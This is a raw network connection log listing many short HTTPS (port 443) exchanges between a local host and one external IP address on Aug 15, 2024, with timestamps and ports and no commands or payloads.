Aug 15, 2024 08:10:37.679505110 CEST	50132	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.692610025 CEST	50132	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.692620993 CEST	443	50132	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.692949057 CEST	443	50132	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.697881937 CEST	50133	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.697891951 CEST	443	50133	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.698111057 CEST	50133	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.708621979 CEST	50133	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.708631992 CEST	443	50133	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.708914042 CEST	443	50133	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.713840008 CEST	50134	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.713848114 CEST	443	50134	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.713906050 CEST	50134	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.729341984 CEST	50134	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.729355097 CEST	443	50134	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.729620934 CEST	443	50134	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.734648943 CEST	50135	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.734662056 CEST	443	50135	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.734721899 CEST	50135	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.746772051 CEST	50135	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.746782064 CEST	443	50135	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.746978045 CEST	443	50135	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.752171993 CEST	50136	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.752180099 CEST	443	50136	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.752306938 CEST	50136	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.764853001 CEST	50136	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.764863968 CEST	443	50136	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.765002012 CEST	443	50136	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.769521952 CEST	50137	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.769545078 CEST	443	50137	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.769860983 CEST	50137	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.781337976 CEST	50137	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.781352043 CEST	443	50137	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.781598091 CEST	443	50137	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.789338112 CEST	50138	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.789350033 CEST	443	50138	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.797338009 CEST	50138	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.805341959 CEST	50138	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.805360079 CEST	443	50138	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.805630922 CEST	443	50138	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.809339046 CEST	50139	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.809359074 CEST	443	50139	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.817333937 CEST	50139	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.825339079 CEST	50139	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.825350046 CEST	443	50139	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.825593948 CEST	443	50139	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.833337069 CEST	50140	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.833349943 CEST	443	50140	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.841336966 CEST	50140	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.849334955 CEST	50140	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.849344015 CEST	443	50140	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.849453926 CEST	443	50140	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.861434937 CEST	50141	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.861444950 CEST	443	50141	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.869352102 CEST	50141	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.876822948 CEST	50141	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.876842976 CEST	443	50141	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.876987934 CEST	443	50141	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.890602112 CEST	50142	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.890624046 CEST	443	50142	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.890769005 CEST	50142	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.901339054 CEST	50142	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.901351929 CEST	443	50142	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.901599884 CEST	443	50142	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.906727076 CEST	50143	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.906750917 CEST	443	50143	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.907217979 CEST	50143	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.917738914 CEST	50143	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.917749882 CEST	443	50143	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.918056965 CEST	443	50143	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.922456026 CEST	50144	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.922535896 CEST	443	50144	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.925648928 CEST	50144	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.934804916 CEST	50144	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.934884071 CEST	443	50144	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.935128927 CEST	443	50144	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.939969063 CEST	50145	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.940048933 CEST	443	50145	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.940407038 CEST	50145	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.949592113 CEST	50145	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.949671030 CEST	443	50145	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.949922085 CEST	443	50145	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.954054117 CEST	50146	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.954132080 CEST	443	50146	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.954225063 CEST	50146	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.964469910 CEST	50146	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.964550972 CEST	443	50146	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.964773893 CEST	443	50146	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.969825029 CEST	50147	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.969903946 CEST	443	50147	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.970428944 CEST	50147	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.980299950 CEST	50147	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.980377913 CEST	443	50147	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.980468988 CEST	443	50147	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.985002995 CEST	50148	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.985083103 CEST	443	50148	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.985411882 CEST	50148	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.993907928 CEST	50148	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.993982077 CEST	443	50148	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.994220972 CEST	443	50148	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.999039888 CEST	50149	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:37.999119997 CEST	443	50149	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:37.999269009 CEST	50149	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.008869886 CEST	50149	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.008935928 CEST	443	50149	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.009033918 CEST	443	50149	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.013467073 CEST	50150	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.013545990 CEST	443	50150	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.013792992 CEST	50150	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.023319960 CEST	50150	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.023395061 CEST	443	50150	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.023597002 CEST	443	50150	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.029475927 CEST	50151	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.029555082 CEST	443	50151	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.029977083 CEST	50151	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.041476965 CEST	50151	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.041543007 CEST	443	50151	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.041649103 CEST	443	50151	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.049453974 CEST	50152	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.049531937 CEST	443	50152	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.049663067 CEST	50152	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.061475039 CEST	50152	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.061548948 CEST	443	50152	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.061798096 CEST	443	50152	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.067742109 CEST	50153	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.067821026 CEST	443	50153	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.068182945 CEST	50153	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.077593088 CEST	50153	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.077667952 CEST	443	50153	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.077920914 CEST	443	50153	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.082433939 CEST	50154	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.082514048 CEST	443	50154	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.082771063 CEST	50154	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.092060089 CEST	50154	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.092133999 CEST	443	50154	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.092391968 CEST	443	50154	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.101494074 CEST	50155	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.101572990 CEST	443	50155	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.101660013 CEST	50155	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.111088037 CEST	50155	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.111162901 CEST	443	50155	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.111253977 CEST	443	50155	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.121448994 CEST	50156	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.121527910 CEST	443	50156	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.121771097 CEST	50156	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.131155968 CEST	50156	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.131227016 CEST	443	50156	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.131495953 CEST	443	50156	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.137458086 CEST	50157	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.137537956 CEST	443	50157	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.137630939 CEST	50157	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.147010088 CEST	50157	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.147085905 CEST	443	50157	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.147377014 CEST	443	50157	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.153789997 CEST	50158	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.153877974 CEST	443	50158	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.153995037 CEST	50158	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.176259995 CEST	50158	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.176331997 CEST	443	50158	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.176604986 CEST	443	50158	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.189152956 CEST	50159	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.189232111 CEST	443	50159	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.189502954 CEST	50159	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.201395988 CEST	50159	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.201467991 CEST	443	50159	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.201555014 CEST	443	50159	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.208362103 CEST	50160	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.208444118 CEST	443	50160	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.208533049 CEST	50160	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.223170042 CEST	50160	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.223244905 CEST	443	50160	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.223520041 CEST	443	50160	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.229027987 CEST	50161	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.229109049 CEST	443	50161	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.229283094 CEST	50161	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.242811918 CEST	50161	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.242888927 CEST	443	50161	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.243141890 CEST	443	50161	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.248965979 CEST	50162	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.249046087 CEST	443	50162	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.249119997 CEST	50162	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.263369083 CEST	50162	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.263438940 CEST	443	50162	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.263674021 CEST	443	50162	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.270272970 CEST	50163	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.270351887 CEST	443	50163	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.270683050 CEST	50163	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.290126085 CEST	50163	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.290198088 CEST	443	50163	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.290421009 CEST	443	50163	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.296580076 CEST	50164	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.296679974 CEST	443	50164	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.296756983 CEST	50164	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.323340893 CEST	50164	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.323410034 CEST	443	50164	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.323630095 CEST	443	50164	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.332910061 CEST	50165	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.333026886 CEST	443	50165	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.333126068 CEST	50165	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.342386961 CEST	50165	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.342453957 CEST	443	50165	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.342665911 CEST	443	50165	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.349456072 CEST	50166	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.349534988 CEST	443	50166	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.349611998 CEST	50166	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.357551098 CEST	50166	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.357621908 CEST	443	50166	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.357835054 CEST	443	50166	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.365611076 CEST	50167	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.365693092 CEST	443	50167	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.365798950 CEST	50167	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.374928951 CEST	50167	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.375005960 CEST	443	50167	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.375238895 CEST	443	50167	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.388557911 CEST	50168	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.388636112 CEST	443	50168	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.388792992 CEST	50168	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.406687021 CEST	50168	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.406754971 CEST	443	50168	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.406965971 CEST	443	50168	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.415131092 CEST	50169	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.415210009 CEST	443	50169	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.415319920 CEST	50169	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.431215048 CEST	50169	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.431282997 CEST	443	50169	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.431389093 CEST	443	50169	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.440031052 CEST	50170	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.440110922 CEST	443	50170	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.440363884 CEST	50170	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.456451893 CEST	50170	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.456537008 CEST	443	50170	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.456672907 CEST	443	50170	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.461488962 CEST	50171	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.461566925 CEST	443	50171	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.461652040 CEST	50171	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.470834970 CEST	50171	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.470909119 CEST	443	50171	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.471066952 CEST	443	50171	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.477353096 CEST	50172	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.477432013 CEST	443	50172	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.481401920 CEST	50172	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.494649887 CEST	50172	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.494724989 CEST	443	50172	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.494971991 CEST	443	50172	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.500083923 CEST	50173	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.500169039 CEST	443	50173	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.500228882 CEST	50173	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.513144016 CEST	50173	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.513215065 CEST	443	50173	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.513389111 CEST	443	50173	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.519642115 CEST	50174	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.519694090 CEST	443	50174	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.519844055 CEST	50174	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.550411940 CEST	50174	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.550481081 CEST	443	50174	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.550745964 CEST	443	50174	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.561836004 CEST	50175	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.561913013 CEST	443	50175	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.561989069 CEST	50175	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.570524931 CEST	50175	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.570595980 CEST	443	50175	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.570713997 CEST	443	50175	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.578248024 CEST	50176	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.578288078 CEST	443	50176	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.578351974 CEST	50176	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.586169004 CEST	50176	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.586180925 CEST	443	50176	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.586203098 CEST	443	50176	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.590351105 CEST	50177	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.590383053 CEST	443	50177	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.590454102 CEST	50177	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.599307060 CEST	50177	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.599318981 CEST	443	50177	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.599342108 CEST	443	50177	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.603553057 CEST	50178	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.603560925 CEST	443	50178	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.603616953 CEST	50178	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.613797903 CEST	50178	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.613809109 CEST	443	50178	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.613832951 CEST	443	50178	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.620845079 CEST	50179	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.620855093 CEST	443	50179	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.620907068 CEST	50179	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.634720087 CEST	50179	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.634730101 CEST	443	50179	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.634752989 CEST	443	50179	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.640949965 CEST	50180	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.640959024 CEST	443	50180	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.641015053 CEST	50180	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.651706934 CEST	50180	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.651715994 CEST	443	50180	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.651741982 CEST	443	50180	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.655780077 CEST	50181	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.655787945 CEST	443	50181	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.655853033 CEST	50181	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.664714098 CEST	50181	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.664724112 CEST	443	50181	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.664743900 CEST	443	50181	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.668787956 CEST	50182	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.668795109 CEST	443	50182	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.668849945 CEST	50182	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.677865982 CEST	50182	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.677875996 CEST	443	50182	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.677903891 CEST	443	50182	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.686228991 CEST	50183	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.686239004 CEST	443	50183	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.686311960 CEST	50183	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.697082043 CEST	50183	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.697091103 CEST	443	50183	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.697110891 CEST	443	50183	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.702666998 CEST	50184	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.702675104 CEST	443	50184	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.702723980 CEST	50184	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.714235067 CEST	50184	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.714242935 CEST	443	50184	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.714257956 CEST	443	50184	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.720978975 CEST	50185	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.720987082 CEST	443	50185	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.721038103 CEST	50185	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.733031988 CEST	50185	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.733042955 CEST	443	50185	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.733061075 CEST	443	50185	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.739181042 CEST	50186	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.739188910 CEST	443	50186	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.739234924 CEST	50186	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.751053095 CEST	50186	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.751060963 CEST	443	50186	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.751080036 CEST	443	50186	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.757502079 CEST	50187	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.757512093 CEST	443	50187	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.757554054 CEST	50187	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.769076109 CEST	50187	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.769085884 CEST	443	50187	94.141.120.29	192.168.2.4
